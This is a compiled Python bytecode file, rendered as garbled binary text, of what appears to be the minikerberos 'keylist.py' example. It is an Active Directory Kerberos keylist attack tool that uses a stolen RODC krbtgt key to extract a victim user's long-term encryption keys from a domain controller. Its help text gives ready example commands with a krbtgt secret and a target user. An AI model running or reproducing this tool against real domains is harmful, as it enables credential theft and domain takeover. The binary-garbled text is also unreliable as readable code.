o
    �õ±j  ã                   @   sŒ   d dl Z d dlZd dlmZmZ d dlmZ d dlmZ dZ	d dl
Z
G dd„ de
jƒZdded	ed
efdd„Zdd„ ZedkrDeƒ  dS dS )é    N)ÚKerberosClientFactoryÚkerberos_url_help_epilog)ÚKirbi)ÚKERB_KEY_LIST_REPa§  
Requiremets:
    - You must obtain a valid secret key for an RODC krbtgt_##### account
    - Point the URL to a non-RODC active directory server
	- The target server in the URL specification can be IP address or FQDN
	- This attack is really sensitive on using the correct domain in the URL specification
	- The target user MUST be a user account that is explicitly allowed to be synchronized to the RODC
Example:
    python keylist.py 'kerberos+rc4://test.corp\krbtgt_1234:921a7fece11f4d8c72432e41e40d0372@10.10.10.2' victimuser
    python keylist.py 'kerberos+aes://test.corp\krbtgt_1234:921a7fece11f4d8c72432e41e40d0372921a7fece11f4d8c72432e41e40d0372@10.10.10.2' victimuser
c                   @   s4   e Zd ZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdS )ÚSupportedEtypesé   é   é   é   é   é    i   i   i   i   N)Ú__name__Ú
__module__Ú__qualname__ÚDES_CBC_CRCÚDES_CBC_MD5ÚARCFOUR_HMAC_MD5ÚAES128_CTS_HMAC_SHA1_96ÚAES256_CTS_HMAC_SHA1_96ÚAES256_CTS_HMAC_SHA1_96_SKÚFASTÚCOMPOUND_IDENTITYÚCLAIM_TOKENÚ!Resource_SID_compression_disabled© r   r   ú�/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/minikerberos/examples/keylist.pyr      s    r   Úkerberos_urlÚ
targetuserÚtargetrealmc                 Ã   sR  �t  d¡ g }zt|dƒ�}| ¡  ¡ }W d   ƒ n1 sw   Y  W n ty< } z| |¡ W Y d }~nd }~ww |D ]ç}zt | ¡}| 	¡ }|j
||d�I d H \}}	}
W n tyu } ztd|› d|› �ƒ W Y d }~q?d }~ww t|	ƒ i }d|	v rÏ|	d d urÏ|	d D ]D}|d dkr·t |d	 ¡}|jD ]}
|
d
 |vrªg ||
d
 < ||
d
   |
d ¡ qœqŠ|d dkrÎtj|d	 ddd�}tt|ƒjƒ qŠt|ƒdkrÞtd|› d�ƒ q?|}| d¡}|d u�r	t|d ƒdkrúd |d ¡}n| d¡}d||d d f }|D ]}|| D ]}td||| ¡ f ƒ �qtdƒ �qq?d S )NzPerforming keylist attackÚr)r   z[ERR] z: zencrypted-pa-datazpadata-typeé¢   zpadata-valueÚkeytypeÚkeyvalueé¥   ÚlittleF)Úsignedr   z": No keys returned from the serverÚcnamezname-stringr   ú\Úcrealmz%s\%sz[%s] %s: %sÚ )ÚloggingÚdebugÚopenÚreadÚ
splitlinesÚ	ExceptionÚappendr   Úfrom_urlÚ
get_clientÚkeylistÚprintr   ÚloadÚnativeÚintÚ
from_bytesr   ÚnameÚlenÚgetÚjoinÚhex)r   r   r   ÚtargetusersÚfÚeÚcuÚclientÚtgsÚencTGSRepPartÚkeyÚkeysÚ	encpadatar3   Úsupported_etypesÚcredÚusernameÚ	userrealmr!   r"   r   r   r   Úkeylistattack%   sj   €
ÿ€€ÿ
€þ
ý€


ýØrL   c                  C   sº   dd l } | jd| jtd�}|jddddd� |jdd	d
� |jddd
� |jddd
� | ¡ }|jdkr<tjtj	d� n|jdkrItjtj
d� ntjdd� t t|j|j|jƒ¡ d S )Nr   zPerforms Keylist attack)ÚdescriptionÚformatter_classÚepilogz-vz	--verboseÚcount)ÚactionÚdefaultz--targetrealmz*the realm to perform the keylist attack on)Úhelpr   zthe kerberos target string. r   z)the user to perform the keylist attack on)Úlevelr   )ÚargparseÚArgumentParserÚRawDescriptionHelpFormatterÚKEYLIST_EPILOGÚadd_argumentÚ
parse_argsÚverboser*   ÚbasicConfigÚINFOÚDEBUGÚasyncioÚrunrL   r   r   r   )rU   ÚparserÚargsr   r   r   Úmain\   s   

rc   Ú__main__)NN)r*   r_   Úminikerberos.common.factoryr   r   Úminikerberos.common.kirbir   Ú"minikerberos.protocol.asn1_structsr   rX   ÚenumÚIntFlagr   ÚstrrL   rc   r   r   r   r   r   Ú<module>   s    7
ÿ